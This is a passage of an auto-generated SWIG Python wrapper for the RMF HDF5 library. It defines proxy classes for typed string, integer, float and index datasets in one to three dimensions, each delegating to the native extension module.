_RMF_HDF5.StringsConstDataSet2D_get_value(self, ijk) def __str__(self): r"""__str__(StringsConstDataSet2D self) -> std::string""" return _RMF_HDF5.StringsConstDataSet2D___str__(self) def __repr__(self): r"""__repr__(StringsConstDataSet2D self) -> std::string""" return _RMF_HDF5.StringsConstDataSet2D___repr__(self) def get_block(self, lb, size): r"""get_block(StringsConstDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size) -> StringsList""" return _RMF_HDF5.StringsConstDataSet2D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(StringsConstDataSet2D self, StringsConstDataSet2D o) -> bool""" return _RMF_HDF5.StringsConstDataSet2D___eq__(self, o) def __ne__(self, o): r"""__ne__(StringsConstDataSet2D self, StringsConstDataSet2D o) -> bool""" return _RMF_HDF5.StringsConstDataSet2D___ne__(self, o) def __lt__(self, o): r"""__lt__(StringsConstDataSet2D self, StringsConstDataSet2D o) -> bool""" return _RMF_HDF5.StringsConstDataSet2D___lt__(self, o) def __gt__(self, o): r"""__gt__(StringsConstDataSet2D self, StringsConstDataSet2D o) -> bool""" return _RMF_HDF5.StringsConstDataSet2D___gt__(self, o) def __ge__(self, o): r"""__ge__(StringsConstDataSet2D self, StringsConstDataSet2D o) -> bool""" return _RMF_HDF5.StringsConstDataSet2D___ge__(self, o) def __le__(self, o): r"""__le__(StringsConstDataSet2D self, StringsConstDataSet2D o) -> bool""" return _RMF_HDF5.StringsConstDataSet2D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_StringsConstDataSet2D # Register StringsConstDataSet2D in _RMF_HDF5: _RMF_HDF5.StringsConstDataSet2D_swigregister(StringsConstDataSet2D) class StringsConstDataSet3D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::StringsTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringsConstDataSet3D self) -> StringsConstDataSet3D""" _RMF_HDF5.StringsConstDataSet3D_swiginit(self, _RMF_HDF5.new_StringsConstDataSet3D()) def get_size(self): r"""get_size(StringsConstDataSet3D self) -> DataSetIndex3D""" return _RMF_HDF5.StringsConstDataSet3D_get_size(self) def get_value(self, ijk): r"""get_value(StringsConstDataSet3D self, DataSetIndex3D ijk) -> Strings""" return _RMF_HDF5.StringsConstDataSet3D_get_value(self, ijk) def __str__(self): r"""__str__(StringsConstDataSet3D self) -> std::string""" return _RMF_HDF5.StringsConstDataSet3D___str__(self) def __repr__(self): r"""__repr__(StringsConstDataSet3D self) -> std::string""" return _RMF_HDF5.StringsConstDataSet3D___repr__(self) def get_block(self, lb, size): r"""get_block(StringsConstDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size) -> StringsList""" return _RMF_HDF5.StringsConstDataSet3D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(StringsConstDataSet3D self, StringsConstDataSet3D o) -> bool""" return _RMF_HDF5.StringsConstDataSet3D___eq__(self, o) def __ne__(self, o): r"""__ne__(StringsConstDataSet3D self, StringsConstDataSet3D o) -> bool""" return _RMF_HDF5.StringsConstDataSet3D___ne__(self, o) def __lt__(self, o): r"""__lt__(StringsConstDataSet3D self, StringsConstDataSet3D o) -> bool""" return _RMF_HDF5.StringsConstDataSet3D___lt__(self, o) def __gt__(self, o): r"""__gt__(StringsConstDataSet3D self, StringsConstDataSet3D o) -> bool""" return _RMF_HDF5.StringsConstDataSet3D___gt__(self, o) def __ge__(self, o): r"""__ge__(StringsConstDataSet3D self, StringsConstDataSet3D o) -> bool""" return _RMF_HDF5.StringsConstDataSet3D___ge__(self, o) def __le__(self, o): r"""__le__(StringsConstDataSet3D self, StringsConstDataSet3D o) -> bool""" return _RMF_HDF5.StringsConstDataSet3D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_StringsConstDataSet3D # Register StringsConstDataSet3D in _RMF_HDF5: _RMF_HDF5.StringsConstDataSet3D_swigregister(StringsConstDataSet3D) class StringsDataSetAttributes1D(StringsConstDataSet1D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::StringsTraits,1 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(StringsDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.StringsDataSetAttributes1D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(StringsDataSetAttributes1D self, std::string nm, Floats value)""" return _RMF_HDF5.StringsDataSetAttributes1D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(StringsDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.StringsDataSetAttributes1D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(StringsDataSetAttributes1D self, std::string nm, std::string value)""" return _RMF_HDF5.StringsDataSetAttributes1D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_StringsDataSetAttributes1D # Register StringsDataSetAttributes1D in _RMF_HDF5: _RMF_HDF5.StringsDataSetAttributes1D_swigregister(StringsDataSetAttributes1D) class StringsDataSetAttributes2D(StringsConstDataSet2D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::StringsTraits,2 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(StringsDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.StringsDataSetAttributes2D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(StringsDataSetAttributes2D self, std::string nm, Floats value)""" return _RMF_HDF5.StringsDataSetAttributes2D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(StringsDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.StringsDataSetAttributes2D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(StringsDataSetAttributes2D self, std::string nm, std::string value)""" return _RMF_HDF5.StringsDataSetAttributes2D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_StringsDataSetAttributes2D # Register StringsDataSetAttributes2D in _RMF_HDF5: _RMF_HDF5.StringsDataSetAttributes2D_swigregister(StringsDataSetAttributes2D) class StringsDataSetAttributes3D(StringsConstDataSet3D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::StringsTraits,3 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(StringsDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.StringsDataSetAttributes3D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(StringsDataSetAttributes3D self, std::string nm, Floats value)""" return _RMF_HDF5.StringsDataSetAttributes3D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(StringsDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.StringsDataSetAttributes3D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(StringsDataSetAttributes3D self, std::string nm, std::string value)""" return _RMF_HDF5.StringsDataSetAttributes3D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_StringsDataSetAttributes3D # Register StringsDataSetAttributes3D in _RMF_HDF5: _RMF_HDF5.StringsDataSetAttributes3D_swigregister(StringsDataSetAttributes3D) class IntDataSet1D(IntDataSetAttributes1D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IntTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntDataSet1D self) -> IntDataSet1D""" _RMF_HDF5.IntDataSet1D_swiginit(self, _RMF_HDF5.new_IntDataSet1D()) def set_value(self, ijk, value): r"""set_value(IntDataSet1D self, DataSetIndex1D ijk, RMF::HDF5::IntTraits::Type value)""" return _RMF_HDF5.IntDataSet1D_set_value(self, ijk, value) def __str__(self): r"""__str__(IntDataSet1D self) -> std::string""" return _RMF_HDF5.IntDataSet1D___str__(self) def __repr__(self): r"""__repr__(IntDataSet1D self) -> std::string""" return _RMF_HDF5.IntDataSet1D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IntDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size, Ints value)""" return _RMF_HDF5.IntDataSet1D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IntDataSet1D self, DataSetIndex1D ijk)""" return _RMF_HDF5.IntDataSet1D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IntDataSet1D # Register IntDataSet1D in _RMF_HDF5: _RMF_HDF5.IntDataSet1D_swigregister(IntDataSet1D) class IntDataSet2D(IntDataSetAttributes2D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IntTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntDataSet2D self) -> IntDataSet2D""" _RMF_HDF5.IntDataSet2D_swiginit(self, _RMF_HDF5.new_IntDataSet2D()) def set_value(self, ijk, value): r"""set_value(IntDataSet2D self, DataSetIndex2D ijk, RMF::HDF5::IntTraits::Type value)""" return _RMF_HDF5.IntDataSet2D_set_value(self, ijk, value) def __str__(self): r"""__str__(IntDataSet2D self) -> std::string""" return _RMF_HDF5.IntDataSet2D___str__(self) def __repr__(self): r"""__repr__(IntDataSet2D self) -> std::string""" return _RMF_HDF5.IntDataSet2D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IntDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size, Ints value)""" return _RMF_HDF5.IntDataSet2D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IntDataSet2D self, DataSetIndex2D ijk)""" return _RMF_HDF5.IntDataSet2D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IntDataSet2D # Register IntDataSet2D in _RMF_HDF5: _RMF_HDF5.IntDataSet2D_swigregister(IntDataSet2D) class IntDataSet3D(IntDataSetAttributes3D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IntTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntDataSet3D self) -> IntDataSet3D""" _RMF_HDF5.IntDataSet3D_swiginit(self, _RMF_HDF5.new_IntDataSet3D()) def set_value(self, ijk, value): r"""set_value(IntDataSet3D self, DataSetIndex3D ijk, RMF::HDF5::IntTraits::Type value)""" return _RMF_HDF5.IntDataSet3D_set_value(self, ijk, value) def __str__(self): r"""__str__(IntDataSet3D self) -> std::string""" return _RMF_HDF5.IntDataSet3D___str__(self) def __repr__(self): r"""__repr__(IntDataSet3D self) -> std::string""" return _RMF_HDF5.IntDataSet3D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IntDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size, Ints value)""" return _RMF_HDF5.IntDataSet3D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IntDataSet3D self, DataSetIndex3D ijk)""" return _RMF_HDF5.IntDataSet3D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IntDataSet3D # Register IntDataSet3D in _RMF_HDF5: _RMF_HDF5.IntDataSet3D_swigregister(IntDataSet3D) class IntsDataSet1D(IntsDataSetAttributes1D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IntsTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntsDataSet1D self) -> IntsDataSet1D""" _RMF_HDF5.IntsDataSet1D_swiginit(self, _RMF_HDF5.new_IntsDataSet1D()) def set_value(self, ijk, value): r"""set_value(IntsDataSet1D self, DataSetIndex1D ijk, Ints value)""" return _RMF_HDF5.IntsDataSet1D_set_value(self, ijk, value) def __str__(self): r"""__str__(IntsDataSet1D self) -> std::string""" return _RMF_HDF5.IntsDataSet1D___str__(self) def __repr__(self): r"""__repr__(IntsDataSet1D self) -> std::string""" return _RMF_HDF5.IntsDataSet1D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IntsDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size, IntsList value)""" return _RMF_HDF5.IntsDataSet1D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IntsDataSet1D self, DataSetIndex1D ijk)""" return _RMF_HDF5.IntsDataSet1D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IntsDataSet1D # Register IntsDataSet1D in _RMF_HDF5: _RMF_HDF5.IntsDataSet1D_swigregister(IntsDataSet1D) class IntsDataSet2D(IntsDataSetAttributes2D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IntsTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntsDataSet2D self) -> IntsDataSet2D""" _RMF_HDF5.IntsDataSet2D_swiginit(self, _RMF_HDF5.new_IntsDataSet2D()) def set_value(self, ijk, value): r"""set_value(IntsDataSet2D self, DataSetIndex2D ijk, Ints value)""" return _RMF_HDF5.IntsDataSet2D_set_value(self, ijk, value) def __str__(self): r"""__str__(IntsDataSet2D self) -> std::string""" return _RMF_HDF5.IntsDataSet2D___str__(self) def __repr__(self): r"""__repr__(IntsDataSet2D self) -> std::string""" return _RMF_HDF5.IntsDataSet2D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IntsDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size, IntsList value)""" return _RMF_HDF5.IntsDataSet2D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IntsDataSet2D self, DataSetIndex2D ijk)""" return _RMF_HDF5.IntsDataSet2D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IntsDataSet2D # Register IntsDataSet2D in _RMF_HDF5: _RMF_HDF5.IntsDataSet2D_swigregister(IntsDataSet2D) class IntsDataSet3D(IntsDataSetAttributes3D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IntsTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntsDataSet3D self) -> IntsDataSet3D""" _RMF_HDF5.IntsDataSet3D_swiginit(self, _RMF_HDF5.new_IntsDataSet3D()) def set_value(self, ijk, value): r"""set_value(IntsDataSet3D self, DataSetIndex3D ijk, Ints value)""" return _RMF_HDF5.IntsDataSet3D_set_value(self, ijk, value) def __str__(self): r"""__str__(IntsDataSet3D self) -> std::string""" return _RMF_HDF5.IntsDataSet3D___str__(self) def __repr__(self): r"""__repr__(IntsDataSet3D self) -> std::string""" return _RMF_HDF5.IntsDataSet3D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IntsDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size, IntsList value)""" return _RMF_HDF5.IntsDataSet3D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IntsDataSet3D self, DataSetIndex3D ijk)""" return _RMF_HDF5.IntsDataSet3D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IntsDataSet3D # Register IntsDataSet3D in _RMF_HDF5: _RMF_HDF5.IntsDataSet3D_swigregister(IntsDataSet3D) class FloatDataSet1D(FloatDataSetAttributes1D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::FloatTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatDataSet1D self) -> FloatDataSet1D""" _RMF_HDF5.FloatDataSet1D_swiginit(self, _RMF_HDF5.new_FloatDataSet1D()) def set_value(self, ijk, value): r"""set_value(FloatDataSet1D self, DataSetIndex1D ijk, RMF::HDF5::FloatTraits::Type value)""" return _RMF_HDF5.FloatDataSet1D_set_value(self, ijk, value) def __str__(self): r"""__str__(FloatDataSet1D self) -> std::string""" return _RMF_HDF5.FloatDataSet1D___str__(self) def __repr__(self): r"""__repr__(FloatDataSet1D self) -> std::string""" return _RMF_HDF5.FloatDataSet1D___repr__(self) def set_block(self, lb, size, value): r"""set_block(FloatDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size, Floats value)""" return _RMF_HDF5.FloatDataSet1D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(FloatDataSet1D self, DataSetIndex1D ijk)""" return _RMF_HDF5.FloatDataSet1D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_FloatDataSet1D # Register FloatDataSet1D in _RMF_HDF5: _RMF_HDF5.FloatDataSet1D_swigregister(FloatDataSet1D) class FloatDataSet2D(FloatDataSetAttributes2D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::FloatTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatDataSet2D self) -> FloatDataSet2D""" _RMF_HDF5.FloatDataSet2D_swiginit(self, _RMF_HDF5.new_FloatDataSet2D()) def set_value(self, ijk, value): r"""set_value(FloatDataSet2D self, DataSetIndex2D ijk, RMF::HDF5::FloatTraits::Type value)""" return _RMF_HDF5.FloatDataSet2D_set_value(self, ijk, value) def __str__(self): r"""__str__(FloatDataSet2D self) -> std::string""" return _RMF_HDF5.FloatDataSet2D___str__(self) def __repr__(self): r"""__repr__(FloatDataSet2D self) -> std::string""" return _RMF_HDF5.FloatDataSet2D___repr__(self) def set_block(self, lb, size, value): r"""set_block(FloatDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size, Floats value)""" return _RMF_HDF5.FloatDataSet2D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(FloatDataSet2D self, DataSetIndex2D ijk)""" return _RMF_HDF5.FloatDataSet2D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_FloatDataSet2D # Register FloatDataSet2D in _RMF_HDF5: _RMF_HDF5.FloatDataSet2D_swigregister(FloatDataSet2D) class FloatDataSet3D(FloatDataSetAttributes3D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::FloatTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatDataSet3D self) -> FloatDataSet3D""" _RMF_HDF5.FloatDataSet3D_swiginit(self, _RMF_HDF5.new_FloatDataSet3D()) def set_value(self, ijk, value): r"""set_value(FloatDataSet3D self, DataSetIndex3D ijk, RMF::HDF5::FloatTraits::Type value)""" return _RMF_HDF5.FloatDataSet3D_set_value(self, ijk, value) def __str__(self): r"""__str__(FloatDataSet3D self) -> std::string""" return _RMF_HDF5.FloatDataSet3D___str__(self) def __repr__(self): r"""__repr__(FloatDataSet3D self) -> std::string""" return _RMF_HDF5.FloatDataSet3D___repr__(self) def set_block(self, lb, size, value): r"""set_block(FloatDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size, Floats value)""" return _RMF_HDF5.FloatDataSet3D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(FloatDataSet3D self, DataSetIndex3D ijk)""" return _RMF_HDF5.FloatDataSet3D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_FloatDataSet3D # Register FloatDataSet3D in _RMF_HDF5: _RMF_HDF5.FloatDataSet3D_swigregister(FloatDataSet3D) class FloatsDataSet1D(FloatsDataSetAttributes1D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::FloatsTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatsDataSet1D self) -> FloatsDataSet1D""" _RMF_HDF5.FloatsDataSet1D_swiginit(self, _RMF_HDF5.new_FloatsDataSet1D()) def set_value(self, ijk, value): r"""set_value(FloatsDataSet1D self, DataSetIndex1D ijk, Floats value)""" return _RMF_HDF5.FloatsDataSet1D_set_value(self, ijk, value) def __str__(self): r"""__str__(FloatsDataSet1D self) -> std::string""" return _RMF_HDF5.FloatsDataSet1D___str__(self) def __repr__(self): r"""__repr__(FloatsDataSet1D self) -> std::string""" return _RMF_HDF5.FloatsDataSet1D___repr__(self) def set_block(self, lb, size, value): r"""set_block(FloatsDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size, FloatsList value)""" return _RMF_HDF5.FloatsDataSet1D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(FloatsDataSet1D self, DataSetIndex1D ijk)""" return _RMF_HDF5.FloatsDataSet1D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_FloatsDataSet1D # Register FloatsDataSet1D in _RMF_HDF5: _RMF_HDF5.FloatsDataSet1D_swigregister(FloatsDataSet1D) class FloatsDataSet2D(FloatsDataSetAttributes2D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::FloatsTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatsDataSet2D self) -> FloatsDataSet2D""" _RMF_HDF5.FloatsDataSet2D_swiginit(self, _RMF_HDF5.new_FloatsDataSet2D()) def set_value(self, ijk, value): r"""set_value(FloatsDataSet2D self, DataSetIndex2D ijk, Floats value)""" return _RMF_HDF5.FloatsDataSet2D_set_value(self, ijk, value) def __str__(self): r"""__str__(FloatsDataSet2D self) -> std::string""" return _RMF_HDF5.FloatsDataSet2D___str__(self) def __repr__(self): r"""__repr__(FloatsDataSet2D self) -> std::string""" return _RMF_HDF5.FloatsDataSet2D___repr__(self) def set_block(self, lb, size, value): r"""set_block(FloatsDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size, FloatsList value)""" return _RMF_HDF5.FloatsDataSet2D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(FloatsDataSet2D self, DataSetIndex2D ijk)""" return _RMF_HDF5.FloatsDataSet2D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_FloatsDataSet2D # Register FloatsDataSet2D in _RMF_HDF5: _RMF_HDF5.FloatsDataSet2D_swigregister(FloatsDataSet2D) class FloatsDataSet3D(FloatsDataSetAttributes3D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::FloatsTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatsDataSet3D self) -> FloatsDataSet3D""" _RMF_HDF5.FloatsDataSet3D_swiginit(self, _RMF_HDF5.new_FloatsDataSet3D()) def set_value(self, ijk, value): r"""set_value(FloatsDataSet3D self, DataSetIndex3D ijk, Floats value)""" return _RMF_HDF5.FloatsDataSet3D_set_value(self, ijk, value) def __str__(self): r"""__str__(FloatsDataSet3D self) -> std::string""" return _RMF_HDF5.FloatsDataSet3D___str__(self) def __repr__(self): r"""__repr__(FloatsDataSet3D self) -> std::string""" return _RMF_HDF5.FloatsDataSet3D___repr__(self) def set_block(self, lb, size, value): r"""set_block(FloatsDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size, FloatsList value)""" return _RMF_HDF5.FloatsDataSet3D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(FloatsDataSet3D self, DataSetIndex3D ijk)""" return _RMF_HDF5.FloatsDataSet3D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_FloatsDataSet3D # Register FloatsDataSet3D in _RMF_HDF5: _RMF_HDF5.FloatsDataSet3D_swigregister(FloatsDataSet3D) class IndexDataSet1D(IndexDataSetAttributes1D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IndexTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexDataSet1D self) -> IndexDataSet1D""" _RMF_HDF5.IndexDataSet1D_swiginit(self, _RMF_HDF5.new_IndexDataSet1D()) def set_value(self, ijk, value): r"""set_value(IndexDataSet1D self, DataSetIndex1D ijk, RMF::HDF5::IndexTraits::Type value)""" return _RMF_HDF5.IndexDataSet1D_set_value(self, ijk, value) def __str__(self): r"""__str__(IndexDataSet1D self) -> std::string""" return _RMF_HDF5.IndexDataSet1D___str__(self) def __repr__(self): r"""__repr__(IndexDataSet1D self) -> std::string""" return _RMF_HDF5.IndexDataSet1D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IndexDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size, Ints value)""" return _RMF_HDF5.IndexDataSet1D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IndexDataSet1D self, DataSetIndex1D ijk)""" return _RMF_HDF5.IndexDataSet1D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IndexDataSet1D # Register IndexDataSet1D in _RMF_HDF5: _RMF_HDF5.IndexDataSet1D_swigregister(IndexDataSet1D) class IndexDataSet2D(IndexDataSetAttributes2D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IndexTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexDataSet2D self) -> IndexDataSet2D""" _RMF_HDF5.IndexDataSet2D_swiginit(self, _RMF_HDF5.new_IndexDataSet2D()) def set_value(self, ijk, value): r"""set_value(IndexDataSet2D self, DataSetIndex2D ijk, RMF::HDF5::IndexTraits::Type value)""" return _RMF_HDF5.IndexDataSet2D_set_value(self, ijk, value) def __str__(self): r"""__str__(IndexDataSet2D self) -> std::string""" return _RMF_HDF5.IndexDataSet2D___str__(self) def __repr__(self): r"""__repr__(IndexDataSet2D self) -> std::string""" return _RMF_HDF5.IndexDataSet2D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IndexDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size, Ints value)""" return _RMF_HDF5.IndexDataSet2D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IndexDataSet2D self, DataSetIndex2D ijk)""" return _RMF_HDF5.IndexDataSet2D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IndexDataSet2D # Register IndexDataSet2D in _RMF_HDF5: _RMF_HDF5.IndexDataSet2D_swigregister(IndexDataSet2D) class IndexDataSet3D(IndexDataSetAttributes3D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IndexTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexDataSet3D self) -> IndexDataSet3D""" _RMF_HDF5.IndexDataSet3D_swiginit(self, _RMF_HDF5.new_IndexDataSet3D()) def set_value(self, ijk, value): r"""set_value(IndexDataSet3D self, DataSetIndex3D ijk, RMF::HDF5::IndexTraits::Type value)""" return _RMF_HDF5.IndexDataSet3D_set_value(self, ijk, value) def __str__(self): r"""__str__(IndexDataSet3D self) -> std::string""" return _RMF_HDF5.IndexDataSet3D___str__(self) def __repr__(self): r"""__repr__(IndexDataSet3D self) -> std::string""" return _RMF_HDF5.IndexDataSet3D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IndexDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size, Ints value)""" return _RMF_HDF5.IndexDataSet3D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IndexDataSet3D self, DataSetIndex3D ijk)""" return _RMF_HDF5.IndexDataSet3D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IndexDataSet3D # Register IndexDataSet3D in _RMF_HDF5: _RMF_HDF5.IndexDataSet3D_swigregister(IndexDataSet3D) class IndexesDataSet1D(IndexesDataSetAttributes1D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IndexesTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexesDataSet1D self) -> IndexesDataSet1D""" _RMF_HDF5.IndexesDataSet1D_swiginit(self, _RMF_HDF5.new_IndexesDataSet1D()) def set_value(self, ijk, value): r"""set_value(IndexesDataSet1D self, DataSetIndex1D ijk, Ints value)""" return _RMF_HDF5.IndexesDataSet1D_set_value(self, ijk, value) def __str__(self): r"""__str__(IndexesDataSet1D self) -> std::string""" return _RMF_HDF5.IndexesDataSet1D___str__(self) def __repr__(self): r"""__repr__(IndexesDataSet1D self) -> std::string""" return _RMF_HDF5.IndexesDataSet1D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IndexesDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size, IntsList value)""" return _RMF_HDF5.IndexesDataSet1D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IndexesDataSet1D self, DataSetIndex1D ijk)""" return _RMF_HDF5.IndexesDataSet1D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IndexesDataSet1D # Register IndexesDataSet1D in _RMF_HDF5: _RMF_HDF5.IndexesDataSet1D_swigregister(IndexesDataSet1D) class IndexesDataSet2D(IndexesDataSetAttributes2D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IndexesTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): 